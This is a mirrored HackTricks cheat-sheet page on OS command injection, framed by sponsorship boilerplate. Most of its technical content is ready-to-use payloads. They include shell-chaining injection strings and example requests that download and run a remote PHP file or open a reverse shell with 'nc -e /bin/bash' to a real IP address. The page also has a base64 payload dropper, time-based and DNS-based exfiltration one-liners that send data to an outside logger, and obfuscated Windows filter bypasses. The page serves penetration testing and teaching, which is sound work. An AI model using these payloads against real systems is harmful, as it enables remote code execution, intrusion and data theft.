mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
165 lines
5.9 KiB
Markdown
165 lines
5.9 KiB
Markdown
# Command Injection
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|
|
|
|
## What is command Injection?
|
|
|
|
OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From [here](https://portswigger.net/web-security/os-command-injection)).
|
|
|
|
### Context
|
|
|
|
Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.
|
|
|
|
## Command Injection/Execution
|
|
|
|
```bash
|
|
#Both Unix and Windows supported
|
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
|
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
|
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
|
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
|
ls %0A id # %0A Execute both (RECOMMENDED)
|
|
|
|
#Only unix supported
|
|
`ls` # ``
|
|
$(ls) # $()
|
|
ls; id # ; Chain commands
|
|
|
|
#Not execute but may be interesting
|
|
> /var/www/html/out.txt #Try to redirect the output to a file
|
|
< /etc/passwd #Try to send some input to the command
|
|
```
|
|
|
|
### Bypasses
|
|
|
|
If you are trying to execute **arbitrary commands inside a linux machine** you will be interesting in read about this [**WAF bypasses**](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md).
|
|
|
|
### **Examples:**
|
|
|
|
```
|
|
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
|
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
|
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
|
```
|
|
|
|
### Parameters
|
|
|
|
Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
|
|
|
```
|
|
?cmd={payload}
|
|
?exec={payload}
|
|
?command={payload}
|
|
?execute{payload}
|
|
?ping={payload}
|
|
?query={payload}
|
|
?jump={payload}
|
|
?code={payload}
|
|
?reg={payload}
|
|
?do={payload}
|
|
?func={payload}
|
|
?arg={payload}
|
|
?option={payload}
|
|
?load={payload}
|
|
?process={payload}
|
|
?step={payload}
|
|
?read={payload}
|
|
?function={payload}
|
|
?req={payload}
|
|
?feature={payload}
|
|
?exe={payload}
|
|
?module={payload}
|
|
?payload={payload}
|
|
?run={payload}
|
|
?print={payload}
|
|
```
|
|
|
|
### Time based data exfiltration
|
|
|
|
Extracting data : char by char
|
|
|
|
```
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
real 0m5.007s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
real 0m0.002s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
```
|
|
|
|
### DNS based data exfiltration
|
|
|
|
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
|
|
|
|
```
|
|
1. Go to http://dnsbin.zhack.ca/
|
|
2. Execute a simple 'ls'
|
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|
```
|
|
|
|
```
|
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
|
```
|
|
|
|
Online tools to check for DNS based data exfiltration:
|
|
|
|
* dnsbin.zhack.ca
|
|
* pingb.in
|
|
|
|
### Filtering bypass
|
|
|
|
#### Windows
|
|
|
|
```
|
|
powershell C:**2\n??e*d.*? # notepad
|
|
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
|
```
|
|
|
|
#### Linux
|
|
|
|
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
|
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Brute-Force Detection List
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
|
|
|
## References
|
|
|
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
|
|
|
|
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|